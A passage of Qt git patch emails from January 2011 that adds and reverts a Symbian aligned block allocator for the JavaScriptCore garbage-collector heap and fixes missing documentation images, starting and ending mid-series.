    - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
    - * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
    - */
    -
    -#ifndef BlockAllocatorSymbian_h
    -#define BlockAllocatorSymbian_h
    -
    -#include 
    -#include 
    -#include 
    -
    -
    -#define SYMBIAN_PAGESIZE(x) (HAL::Get(HALData::EMemoryPageSize, x));
    -#define SYMBIAN_FREERAM(x)  (HAL::Get(HALData::EMemoryRAMFree, x));
    -#define SYMBIAN_ROUNDUPTOMULTIPLE(x, multipleof)    ( (x + multipleof - 1) & ~(multipleof - 1) )
    -
    -// Set sane defaults if -D wasn't provided via compiler args
    -#ifndef JSCCOLLECTOR_VIRTUALMEM_RESERVATION
    -#if defined(__WINS__) 
    -    // Emulator has limited virtual address space
    -    #define JSCCOLLECTOR_VIRTUALMEM_RESERVATION (4*1024*1024)
    -#else
    -    // HW has plenty of virtual addresses
    -    #define JSCCOLLECTOR_VIRTUALMEM_RESERVATION (128*1024*1024)
    -#endif
    -#endif
    -
    -namespace WTF {
    -
    -/** 
    - *  Allocates contiguous region of size blockSize with blockSize-aligned address. 
    - *  blockSize must be a multiple of system page size (typically 4K on Symbian/ARM)
    - *
    - *  @param reservationSize Virtual address range to be reserved upon creation of chunk (bytes).
    - *  @param blockSize Size of a single allocation. Returned address will also be blockSize-aligned.
    - */
    -class AlignedBlockAllocator {
    -    public:
    -        AlignedBlockAllocator(TUint32 reservationSize, TUint32 blockSize);
    -        ~AlignedBlockAllocator();
    -        void destroy();
    -        void* alloc();
    -        void free(void* data);
    -    
    -    private: 
    -        RChunk   m_chunk; // Symbian chunk that lets us reserve/commit/decommit
    -        TUint    m_offset; // offset of first committed region from base 
    -        TInt     m_pageSize; // cached value of system page size, typically 4K on Symbian
    -        TUint32  m_reservation;
    -        TUint32  m_blockSize;  
    -
    -        // Tracks comitted/decommitted state of a blockSize region
    -        struct {
    -            
    -            TUint32 *bits; // array of bit flags 
    -            TUint32  numBits; // number of regions to keep track of
    -            
    -            bool get(TUint32 n) const
    -            {
    -                return !!(bits[n >> 5] & (1 << (n & 0x1F)));
    -            }
    -            
    -            void set(TUint32 n)
    -            {
    -                bits[n >> 5] |= (1 << (n & 0x1F));
    -            }
    -            
    -            void clear(TUint32 n)
    -            {
    -                bits[n >> 5] &= ~(1 << (n & 0x1F));
    -            }
    -            
    -            void clearAll()
    -            {
    -               for (TUint32 i = 0; i < numBits; i++)
    -                    clear(i);
    -            }
    -            
    -            TInt findFree() const
    -            {
    -                for (TUint32 i = 0; i < numBits; i++) {
    -                    if (!get(i)) 
    -                        return i;
    -                }
    -                return -1;
    -            }
    -            
    -        } m_map;  
    -
    -};
    - 
    -}
    -
    -#endif // end of BlockAllocatorSymbian_h
    -
    -
    diff --git a/src/3rdparty/javascriptcore/VERSION b/src/3rdparty/javascriptcore/VERSION
    index b4744b7..9991ac0 100644
    --- a/src/3rdparty/javascriptcore/VERSION
    +++ b/src/3rdparty/javascriptcore/VERSION
    @@ -4,8 +4,8 @@ This is a snapshot of JavaScriptCore from
     
     The commit imported was from the
     
    -        javascriptcore-snapshot-24012011 branch/tag
    +        javascriptcore-snapshot-05102010 branch/tag
     
     and has the sha1 checksum
     
    -        d143bde5ae8cff229aebd43487a2fce5e713e990
    +        82ead85cfea5859044eeb25b33314dcc0fa5eea1
    diff --git a/src/script/script.pro b/src/script/script.pro
    index 63917b1..d1633d8 100644
    --- a/src/script/script.pro
    +++ b/src/script/script.pro
    @@ -81,6 +81,7 @@ include(script.pri)
     
     symbian {
         TARGET.UID3=0x2001B2E1
    +    LIBS += -lhal
     }
     
     symbian {
    -- 
    cgit v0.12
    
    
    From 6518b1d8f96e7a62c40a4aa23f7f00178cec9803 Mon Sep 17 00:00:00 2001
    From: Geir Vattekar 
    Date: Tue, 25 Jan 2011 16:54:20 +0100
    Subject: Doc: Fixed missing images in qt demo
    
    	Task-number: QTBUG-14274
    ---
     doc/src/demos/mediaplayer.qdoc               |   2 +-
     doc/src/examples/audiodevices.qdoc           |   2 ++
     doc/src/examples/audioinput.qdoc             |   2 ++
     doc/src/examples/audiooutput.qdoc            |   2 ++
     doc/src/examples/combowidgetmapper.qdoc      |   2 +-
     doc/src/images/audiodevices-example.png      | Bin 0 -> 25856 bytes
     doc/src/images/audioinput-example.png        | Bin 0 -> 10383 bytes
     doc/src/images/audiooutput-example.png       | Bin 0 -> 11966 bytes
     doc/src/images/combo-widget-mapper.png       | Bin 10801 -> 0 bytes
     doc/src/images/combowidgetmapper-example.png | Bin 0 -> 10801 bytes
     doc/src/images/mediaplayer-demo.png          | Bin 12868 -> 0 bytes
     doc/src/images/qmediaplayer-demo.png         | Bin 0 -> 12868 bytes
     12 files changed, 8 insertions(+), 2 deletions(-)
     create mode 100755 doc/src/images/audiodevices-example.png
     create mode 100644 doc/src/images/audioinput-example.png
     create mode 100755 doc/src/images/audiooutput-example.png
     delete mode 100644 doc/src/images/combo-widget-mapper.png
     create mode 100644 doc/src/images/combowidgetmapper-example.png
     delete mode 100644 doc/src/images/mediaplayer-demo.png
     create mode 100644 doc/src/images/qmediaplayer-demo.png
    
    diff --git a/doc/src/demos/mediaplayer.qdoc b/doc/src/demos/mediaplayer.qdoc
    index 11fc110..3eeb313 100644
    --- a/doc/src/demos/mediaplayer.qdoc
    +++ b/doc/src/demos/mediaplayer.qdoc
    @@ -32,5 +32,5 @@
         The Media Player demonstration shows how \l{Phonon Module}{Phonon}
         can be used in Qt applications to handle audio and video playback.
     
    -    \image mediaplayer-demo.png
    +    \image qmediaplayer-demo.png
     */
    diff --git a/doc/src/examples/audiodevices.qdoc b/doc/src/examples/audiodevices.qdoc
    index b812968..fd56e38 100644
    --- a/doc/src/examples/audiodevices.qdoc
    +++ b/doc/src/examples/audiodevices.qdoc
    @@ -32,6 +32,8 @@
         The Audio Devices example demonstrates the basic use of QAudioDeviceInfo class
         provided with Qt.
     
    +    \image audiodevices-example.png
    +
         Qt provides the QAudioDeviceInfo class to enable audio querying within
         a standard application user interface.
     
    diff --git a/doc/src/examples/audioinput.qdoc b/doc/src/examples/audioinput.qdoc
    index 7ca01a5..44b480f 100644
    --- a/doc/src/examples/audioinput.qdoc
    +++ b/doc/src/examples/audioinput.qdoc
    @@ -32,6 +32,8 @@
         The Audio Input example demonstrates the basic use of QAudioInput class
         provided with Qt.
     
    +    \image audioinput-example.png
    +
         Qt provides the QAudioInput class to enable audio functionality within
         a standard application user interface.
     
    diff --git a/doc/src/examples/audiooutput.qdoc b/doc/src/examples/audiooutput.qdoc
    index 358c404..1703883 100644
    --- a/doc/src/examples/audiooutput.qdoc
    +++ b/doc/src/examples/audiooutput.qdoc
    @@ -32,6 +32,8 @@
         The Audio Output example demonstrates the basic use of the QAudioOutput class
         provided with Qt.
     
    +    \image audiooutput-example.png
    +
         This example provides a tone generator to supply continuous audio playback.
         The first button allows pause and resume of the playback.
         The second button allows toggling between push and pull modes of operation.
    diff --git a/doc/src/examples/combowidgetmapper.qdoc b/doc/src/examples/combowidgetmapper.qdoc
    index 1a9bf5a..897d135 100644
    --- a/doc/src/examples/combowidgetmapper.qdoc
    +++ b/doc/src/examples/combowidgetmapper.qdoc
    @@ -32,7 +32,7 @@
         The Delegate Widget Mapper example shows how to use a custom delegate to
         map information from a model to specific widgets on a form.
     
    -    \image combo-widget-mapper.png
    +    \image combowidgetmapper-example.png
     
         In the \l{Simple Widget Mapper Example}, we showed the basic use of a
         widget mapper to relate data exposed by a model to simple input widgets
    diff --git a/doc/src/images/audiodevices-example.png b/doc/src/images/audiodevices-example.png
    new file mode 100755
    index 0000000..ae857df
    Binary files /dev/null and b/doc/src/images/audiodevices-example.png differ
    diff --git a/doc/src/images/audioinput-example.png b/doc/src/images/audioinput-example.png
    new file mode 100644
    index 0000000..fb703e6
    Binary files /dev/null and b/doc/src/images/audioinput-example.png differ
    diff --git a/doc/src/images/audiooutput-example.png b/doc/src/images/audiooutput-example.png
    new file mode 100755
    index 0000000..5588fbb
    Binary files /dev/null and b/doc/src/images/audiooutput-example.png differ
    diff --git a/doc/src/images/combo-widget-mapper.png b/doc/src/images/combo-widget-mapper.png
    deleted file mode 100644
    index 910d6ed..0000000
    Binary files a/doc/src/images/combo-widget-mapper.png and /dev/null differ
    diff --git a/doc/src/images/combowidgetmapper-example.png b/doc/src/images/combowidgetmapper-example.png
    new file mode 100644
    index 0000000..910d6ed
    Binary files /dev/null and b/doc/src/images/combowidgetmapper-example.png differ
    diff --git a/doc/src/images/mediaplayer-demo.png b/doc/src/images/mediaplayer-demo.png
    deleted file mode 100644
    index 2c1f9b4..0000000
    Binary files a/doc/src/images/mediaplayer-demo.png and /dev/null differ
    diff --git a/doc/src/images/qmediaplayer-demo.png b/doc/src/images/qmediaplayer-demo.png
    new file mode 100644
    index 0000000..2c1f9b4
    Binary files /dev/null and b/doc/src/images/qmediaplayer-demo.png differ
    -- 
    cgit v0.12
    
    
    From 86a864f906d7dcda1b1ab04d1e25e7020a53be64 Mon Sep 17 00:00:00 2001
    From: Kent Hansen 
    Date: Tue, 25 Jan 2011 17:06:16 +0100
    Subject: QtScript/JSC on Symbian: Enhanced memory allocator for Collector heap
    
    Cherry-picked from http://trac.webkit.org/changeset/56370
    
    The old allocator caused QML to crash in MCL (TB10.1, week 1).
    
    Task-number: QTBUG-14293
    Reviewed-by: Simon Hausmann
    ---
     .../javascriptcore/JavaScriptCore/ChangeLog        |  28 +++++
     .../JavaScriptCore/JavaScriptCore.pri              |   3 +
     .../JavaScriptCore/runtime/Collector.cpp           |  46 ++-----
     .../JavaScriptCore/runtime/Collector.h             |   9 ++
     .../wtf/symbian/BlockAllocatorSymbian.cpp          | 132 +++++++++++++++++++++
     .../wtf/symbian/BlockAllocatorSymbian.h            | 120 +++++++++++++++++++
     src/3rdparty/javascriptcore/VERSION                |   4 +-
     src/script/script.pro                              |   1 -
     8 files changed, 303 insertions(+), 40 deletions(-)
     create mode 100644 src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.cpp
     create mode 100644 src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.h
    
    diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog b/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog
    index fd6c3f7..c2b1155 100644
    --- a/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog
    +++ b/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog
    @@ -232,6 +232,34 @@
             without using doubles, but the code would be much more complicated, and there is no important
             reason to stick to integers here.
     
    +2010-03-22  Siddharth Mathur  
    +
    +        Reviewed by Laszlo Gombos.
    +
    +        [Symbian] More efficient aligned memory allocation for JSC Collector
    +        https://bugs.webkit.org/show_bug.cgi?id=34350
    +
    +        * JavaScriptCore.pri: Added 2 new Symbian source files and HAL linkage
    +
    +        * runtime/Collector.cpp: Reduced port-specific code and added private data member
    +        (JSC::Heap::Heap):
    +        (JSC::Heap::~Heap):
    +        (JSC::Heap::destroy):
    +        (JSC::Heap::allocateBlock):
    +        (JSC::Heap::freeBlockPtr):
    +
    +        * runtime/Collector.h: Added private data member
    +
    +        * wtf/symbian: Added.
    +        * wtf/symbian/BlockAllocatorSymbian.cpp: Added.
    +        (WTF::AlignedBlockAllocator::AlignedBlockAllocator): Helper class to allocate 
    +        aligned blocks more efficiently as required by Collector
    +        (WTF::AlignedBlockAllocator::alloc):
    +        (WTF::AlignedBlockAllocator::free):
    +        (WTF::AlignedBlockAllocator::destroy):
    +        (WTF::AlignedBlockAllocator::~AlignedBlockAllocator):
    +        * wtf/symbian/BlockAllocatorSymbian.h: Added.
    +
     2010-03-22  Geoffrey Garen  
     
             Reviewed by Sam Weinig.
    diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/JavaScriptCore.pri b/src/3rdparty/javascriptcore/JavaScriptCore/JavaScriptCore.pri
    index d75bd31..b061321 100644
    --- a/src/3rdparty/javascriptcore/JavaScriptCore/JavaScriptCore.pri
    +++ b/src/3rdparty/javascriptcore/JavaScriptCore/JavaScriptCore.pri
    @@ -16,6 +16,7 @@ CONFIG(debug, debug|release) {
     symbian: {
         # Need to guarantee this comes before system includes of /epoc32/include
         MMP_RULES += "USERINCLUDE ../JavaScriptCore/profiler"
    +    LIBS += -lhal
     }
     
     INCLUDEPATH = \
    @@ -33,6 +34,7 @@ INCLUDEPATH = \
         $$PWD/runtime \
         $$PWD/wrec \
         $$PWD/wtf \
    +    $$PWD/wtf/symbian \
         $$PWD/wtf/unicode \
         $$PWD/yarr \
         $$PWD/API \
    @@ -211,6 +213,7 @@ SOURCES += \
         wtf/qt/ThreadingQt.cpp \
         wtf/RandomNumber.cpp \
         wtf/RefCountedLeakCounter.cpp \
    +    wtf/symbian/BlockAllocatorSymbian.cpp \
         wtf/symbian/RegisterFileAllocatorSymbian.cpp \
         wtf/ThreadingNone.cpp \
         wtf/Threading.cpp \
    diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.cpp b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.cpp
    index 24873c8..42e2a35 100644
    --- a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.cpp
    +++ b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.cpp
    @@ -53,11 +53,6 @@
     #include 
     #include 
     
    -#elif OS(SYMBIAN)
    -#include 
    -#include 
    -#include 
    -
     #elif OS(WINDOWS)
     
     #include 
    @@ -109,11 +104,6 @@ const size_t ALLOCATIONS_PER_COLLECTION = 3600;
     // a PIC branch in Mach-O binaries, see .
     #define MIN_ARRAY_SIZE (static_cast(14))
     
    -#if OS(SYMBIAN)
    -const size_t MAX_NUM_BLOCKS = 256; // Max size of collector heap set to 16 MB
    -static RHeap* userChunk = 0;
    -#endif
    -
     #if ENABLE(JSC_MULTIPLE_THREADS)
     
     #if OS(DARWIN)
    @@ -146,29 +136,11 @@ Heap::Heap(JSGlobalData* globalData)
         , m_currentThreadRegistrar(0)
     #endif
         , m_globalData(globalData)
    +#if OS(SYMBIAN)
    +    , m_blockallocator(JSCCOLLECTOR_VIRTUALMEM_RESERVATION, BLOCK_SIZE)
    +#endif
     {
         ASSERT(globalData);
    -    
    -#if OS(SYMBIAN)
    -    // Symbian OpenC supports mmap but currently not the MAP_ANON flag.
    -    // Using fastMalloc() does not properly align blocks on 64k boundaries
    -    // and previous implementation was flawed/incomplete.
    -    // UserHeap::ChunkHeap allows allocation of continuous memory and specification
    -    // of alignment value for (symbian) cells within that heap.
    -    //
    -    // Clarification and mapping of terminology:
    -    // RHeap (created by UserHeap::ChunkHeap below) is continuos memory chunk,
    -    // which can dynamically grow up to 8 MB,
    -    // that holds all CollectorBlocks of this session (static).
    -    // Each symbian cell within RHeap maps to a 64kb aligned CollectorBlock.
    -    // JSCell objects are maintained as usual within CollectorBlocks.
    -    if (!userChunk) {
    -        userChunk = UserHeap::ChunkHeap(0, 0, MAX_NUM_BLOCKS * BLOCK_SIZE, BLOCK_SIZE, BLOCK_SIZE);
    -        if (!userChunk)
    -            CRASH();
    -    }
    -#endif // OS(SYMBIAN)
    -    
         memset(&m_heap, 0, sizeof(CollectorHeap));
         allocateBlock();
     }
    @@ -211,7 +183,9 @@ void Heap::destroy()
             t = next;
         }
     #endif
    -
    +#if OS(SYMBIAN)
    +    m_blockallocator.destroy();
    +#endif
         m_globalData = 0;
     }
     
    @@ -221,11 +195,9 @@ NEVER_INLINE CollectorBlock* Heap::allocateBlock()
         vm_address_t address = 0;
         vm_map(current_task(), &address, BLOCK_SIZE, BLOCK_OFFSET_MASK, VM_FLAGS_ANYWHERE | VM_TAG_FOR_COLLECTOR_MEMORY, MEMORY_OBJECT_NULL, 0, FALSE, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_DEFAULT);
     #elif OS(SYMBIAN)
    -    // Allocate a 64 kb aligned CollectorBlock
    -    unsigned char* mask = reinterpret_cast(userChunk->Alloc(BLOCK_SIZE));
    -    if (!mask)
    +    void* address = m_blockallocator.alloc();  
    +    if (!address)
             CRASH();
    -    uintptr_t address = reinterpret_cast(mask);
     #elif OS(WINCE)
         void* address = VirtualAlloc(NULL, BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
     #elif OS(WINDOWS)
    @@ -316,7 +288,7 @@ NEVER_INLINE void Heap::freeBlockPtr(CollectorBlock* block)
     #if OS(DARWIN)    
         vm_deallocate(current_task(), reinterpret_cast(block), BLOCK_SIZE);
     #elif OS(SYMBIAN)
    -    userChunk->Free(reinterpret_cast(block));
    +    m_blockallocator.free(reinterpret_cast(block));
     #elif OS(WINCE)
         VirtualFree(block, 0, MEM_RELEASE);
     #elif OS(WINDOWS)
    diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.h b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.h
    index 7f7a679..d3616dc 100644
    --- a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.h
    +++ b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.h
    @@ -35,6 +35,10 @@
     #include 
     #endif
     
    +#if OS(SYMBIAN)
    +#include 
    +#endif
    +
     #define ASSERT_CLASS_FITS_IN_CELL(class) COMPILE_ASSERT(sizeof(class) <= CELL_SIZE, class_fits_in_cell)
     
     namespace JSC {
    @@ -167,6 +171,11 @@ namespace JSC {
             pthread_key_t m_currentThreadRegistrar;
     #endif
     
    +#if OS(SYMBIAN)
    +        // Allocates collector blocks with correct alignment
    +        WTF::AlignedBlockAllocator m_blockallocator; 
    +#endif
    +        
             JSGlobalData* m_globalData;
         };
     
    diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.cpp b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.cpp
    new file mode 100644
    index 0000000..6a28e9e
    --- /dev/null
    +++ b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.cpp
    @@ -0,0 +1,132 @@
    +/*
    + * Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies)
    + *
    + * Redistribution and use in source and binary forms, with or without
    + * modification, are permitted provided that the following conditions
    + * are met:
    + *
    + * 1.  Redistributions of source code must retain the above copyright
    + *     notice, this list of conditions and the following disclaimer. 
    + * 2.  Redistributions in binary form must reproduce the above copyright
    + *     notice, this list of conditions and the following disclaimer in the
    + *     documentation and/or other materials provided with the distribution. 
    + * 3.  Neither the name of Apple Computer, Inc. ("Apple") nor the names of
    + *     its contributors may be used to endorse or promote products derived
    + *     from this software without specific prior written permission. 
    + *
    + * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND ANY
    + * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
    + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
    + * DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY
    + * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
    + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
    + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
    + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
    + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
    + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
    + */
    +
    +#include "config.h"
    +
    +#if OS(SYMBIAN)
    +
    +#include "BlockAllocatorSymbian.h"
    +
    +
    +namespace WTF {
    +
    +/** Efficiently allocates blocks of size blockSize with blockSize alignment. 
    + * Primarly designed for JSC Collector's needs. 
    + * Not thread-safe.    
    + */
    +AlignedBlockAllocator::AlignedBlockAllocator(TUint32 reservationSize, TUint32 blockSize )
    +    : m_reservation(reservationSize), 
    +      m_blockSize(blockSize)
    +{
    +
    +     // Get system's page size value.
    +     SYMBIAN_PAGESIZE(m_pageSize); 
    +     
    +     // We only accept multiples of system page size for both initial reservation and the alignment/block size
    +     m_reservation = SYMBIAN_ROUNDUPTOMULTIPLE(m_reservation, m_pageSize);
    +     __ASSERT_ALWAYS(SYMBIAN_ROUNDUPTOMULTIPLE(m_blockSize, m_pageSize), User::Panic(_L("AlignedBlockAllocator1"), KErrArgument));
    +     
    +     // Calculate max. bit flags we need to carve a reservationSize range into blockSize-sized blocks
    +     m_map.numBits = m_reservation / m_blockSize;   
    +     const TUint32 bitsPerWord = 8*sizeof(TUint32); 
    +     const TUint32 numWords = (m_map.numBits + bitsPerWord -1) / bitsPerWord; 
    +   
    +     m_map.bits = new TUint32[numWords];
    +     __ASSERT_ALWAYS(m_map.bits, User::Panic(_L("AlignedBlockAllocator2"), KErrNoMemory));
    +     m_map.clearAll();
    +     
    +     // Open a Symbian RChunk, and reserve requested virtual address range   
    +     // Any thread in this process can operate this rchunk due to EOwnerProcess access rights. 
    +     TInt ret = m_chunk.CreateDisconnectedLocal(0 , 0, (TInt)m_reservation , EOwnerProcess);  
    +     if (ret != KErrNone) 
    +         User::Panic(_L("AlignedBlockAllocator3"), ret);
    +       
    +     // This is the offset to m_chunk.Base() required to make it m_blockSize-aligned
    +     m_offset = SYMBIAN_ROUNDUPTOMULTIPLE(TUint32(m_chunk.Base()), m_blockSize) - TUint(m_chunk.Base()); 
    +
    +}
    +
    +void* AlignedBlockAllocator::alloc()
    +{
    +
    +    TInt  freeRam = 0; 
    +    void* address = 0;
    +    
    +    // Look up first free slot in bit map
    +    const TInt freeIdx = m_map.findFree();
    +        
    +    // Pseudo OOM: We ate up the address space we reserved..
    +    // ..even though the device may have free RAM left
    +    if (freeIdx < 0)
    +        return 0;
    +        
    +    TInt ret = m_chunk.Commit(m_offset + (m_blockSize * freeIdx), m_blockSize);
    +    if (ret != KErrNone)  
    +        return 0; // True OOM: Device didn't have physical RAM to spare
    +        
    +    // Updated bit to mark region as in use. 
    +    m_map.set(freeIdx); 
    +    
    +    // Calculate address of committed region (block)
    +    address = (void*)( (m_chunk.Base() + m_offset) + (TUint)(m_blockSize * freeIdx) );
    +    
    +    return address;
    +}
    +
    +void AlignedBlockAllocator::free(void* block)
    +{
    +    // Calculate index of block to be freed
    +    TInt idx = TUint(static_cast(block) - m_chunk.Base() - m_offset) / m_blockSize;
    +    
    +    __ASSERT_DEBUG(idx >= 0 && idx < m_map.numBits, User::Panic(_L("AlignedBlockAllocator4"), KErrCorrupt)); // valid index check
    +    __ASSERT_DEBUG(m_map.get(idx), User::Panic(_L("AlignedBlockAllocator5"), KErrCorrupt)); // in-use flag check    
    +    
    +    // Return committed region to system RAM pool (the physical RAM becomes usable by others)
    +    TInt ret = m_chunk.Decommit(m_offset + m_blockSize * idx, m_blockSize);
    +            
    +    // mark this available again
    +    m_map.clear(idx); 
    +}
    +
    +void AlignedBlockAllocator::destroy() 
    +{
    +    // release everything!
    +    m_chunk.Decommit(0, m_chunk.MaxSize());
    +    m_map.clearAll();
    +}
    +
    +AlignedBlockAllocator::~AlignedBlockAllocator()
    +{
    +    destroy();
    +    m_chunk.Close();
    +    delete [] m_map.bits;
    +}
    +
    +} // end of namespace
    +
    +#endif // SYMBIAN
    diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.h b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.h
    new file mode 100644
    index 0000000..21422f6
    --- /dev/null
    +++ b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.h
    @@ -0,0 +1,120 @@
    +/*
    + * Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies)
    + *
    + * Redistribution and use in source and binary forms, with or without
    + * modification, are permitted provided that the following conditions
    + * are met:
    + *
    + * 1.  Redistributions of source code must retain the above copyright
    + *     notice, this list of conditions and the following disclaimer. 
    + * 2.  Redistributions in binary form must reproduce the above copyright
    + *     notice, this list of conditions and the following disclaimer in the
    + *     documentation and/or other materials provided with the distribution. 
    + * 3.  Neither the name of Apple Computer, Inc. ("Apple") nor the names of
    + *     its contributors may be used to endorse or promote products derived
    + *     from this software without specific prior written permission. 
    + *
    + * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND ANY
    + * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
    + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
    + * DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY
    + * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
    + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
    + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
    + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
    + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
    + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
    + */
    +
    +#ifndef BlockAllocatorSymbian_h
    +#define BlockAllocatorSymbian_h
    +
    +#include 
    +#include 
    +#include 
    +
    +
    +#define SYMBIAN_PAGESIZE(x) (HAL::Get(HALData::EMemoryPageSize, x));
    +#define SYMBIAN_FREERAM(x)  (HAL::Get(HALData::EMemoryRAMFree, x));
    +#define SYMBIAN_ROUNDUPTOMULTIPLE(x, multipleof)    ( (x + multipleof - 1) & ~(multipleof - 1) )
    +
    +// Set sane defaults if -D wasn't provided via compiler args
    +#ifndef JSCCOLLECTOR_VIRTUALMEM_RESERVATION
    +#if defined(__WINS__) 
    +    // Emulator has limited virtual address space
    +    #define JSCCOLLECTOR_VIRTUALMEM_RESERVATION (4*1024*1024)
    +#else
    +    // HW has plenty of virtual addresses
    +    #define JSCCOLLECTOR_VIRTUALMEM_RESERVATION (128*1024*1024)
    +#endif
    +#endif
    +
    +namespace WTF {
    +
    +/** 
    + *  Allocates contiguous region of size blockSize with blockSize-aligned address. 
    + *  blockSize must be a multiple of system page size (typically 4K on Symbian/ARM)
    + *
    + *  @param reservationSize Virtual address range to be reserved upon creation of chunk (bytes).
    + *  @param blockSize Size of a single allocation. Returned address will also be blockSize-aligned.
    + */
    +class AlignedBlockAllocator {
    +    public:
    +        AlignedBlockAllocator(TUint32 reservationSize, TUint32 blockSize);
    +        ~AlignedBlockAllocator();
    +        void destroy();
    +        void* alloc();
    +        void free(void* data);
    +    
    +    private: 
    +        RChunk   m_chunk; // Symbian chunk that lets us reserve/commit/decommit
    +        TUint    m_offset; // offset of first committed region from base 
    +        TInt     m_pageSize; // cached value of system page size, typically 4K on Symbian
    +        TUint32  m_reservation;
    +        TUint32  m_blockSize;  
    +
    +        // Tracks comitted/decommitted state of a blockSize region
    +        struct {
    +            
    +            TUint32 *bits; // array of bit flags 
    +            TUint32  numBits; // number of regions to keep track of
    +            
    +            bool get(TUint32 n) const
    +            {
    +                return !!(bits[n >> 5] & (1 << (n & 0x1F)));
    +            }
    +            
    +            void set(TUint32 n)
    +            {
    +                bits[n >> 5] |= (1 << (n & 0x1F));
    +            }
    +            
    +            void clear(TUint32 n)
    +            {
    +                bits[n >> 5] &= ~(1 << (n & 0x1F));
    +            }
    +            
    +            void clearAll()
    +            {
    +               for (TUint32 i = 0; i < numBits; i++)
    +                    clear(i);
    +            }
    +            
    +            TInt findFree() const
    +            {
    +                for (TUint32 i = 0; i < numBits; i++) {
    +                    if (!get(i)) 
    +                        return i;
    +                }
    +                return -1;
    +            }
    +            
    +        } m_map;  
    +
    +};
    + 
    +}
    +
    +#endif // end of BlockAllocatorSymbian_h
    +
    +
    diff --git a/src/3rdparty/javascriptcore/VERSION b/src/3rdparty/javascriptcore/VERSION
    index 9991ac0..b4744b7 100644
    --- a/src/3rdparty/javascriptcore/VERSION
    +++ b/src/3rdparty/javascriptcore/VERSION
    @@ -4,8 +4,8 @@ This is a snapshot of JavaScriptCore from
     
     The commit imported was from the
     
    -        javascriptcore-snapshot-05102010 branch/tag
    +        javascriptcore-snapshot-24012011 branch/tag
     
     and has the sha1 checksum
     
    -        82ead85cfea5859044eeb25b33314dcc0fa5eea1
    +        d143bde5ae8cff229aebd43487a2fce5e713e990
    diff --git a/src/script/script.pro b/src/script/script.pro
    index d1633d8..63917b1 100644
    --- a/src/script/script.pro
    +++ b/src/script/script.pro
    @@ -81,7 +81,6 @@ include(script.pri)
     
     symbian {
         TARGET.UID3=0x2001B2E1
    -    LIBS += -lhal
     }
     
     symbian {
    -- 
    cgit v0.12
    
    
    From ab0a2466d7e3998caad226197355b729f523764a Mon Sep 17 00:00:00 2001
    From: Richard Moe Gustavsen 
    Date: Tue, 25 Jan 2011 22:12:07 +0100
    Subject: Cocoa: non-native toolbar shows in window when hidden
    
    The reason is that we explicitly needs to tell it to hide which we do
    in the init function. But since QToolBar overrides setVisible, this
    fails. This patch makes sure we call the super version of the
    function
    ---
     src/gui/widgets/qmenubar.cpp | 5 ++++-
     1 file changed, 4 insertions(+), 1 deletion(-)
    
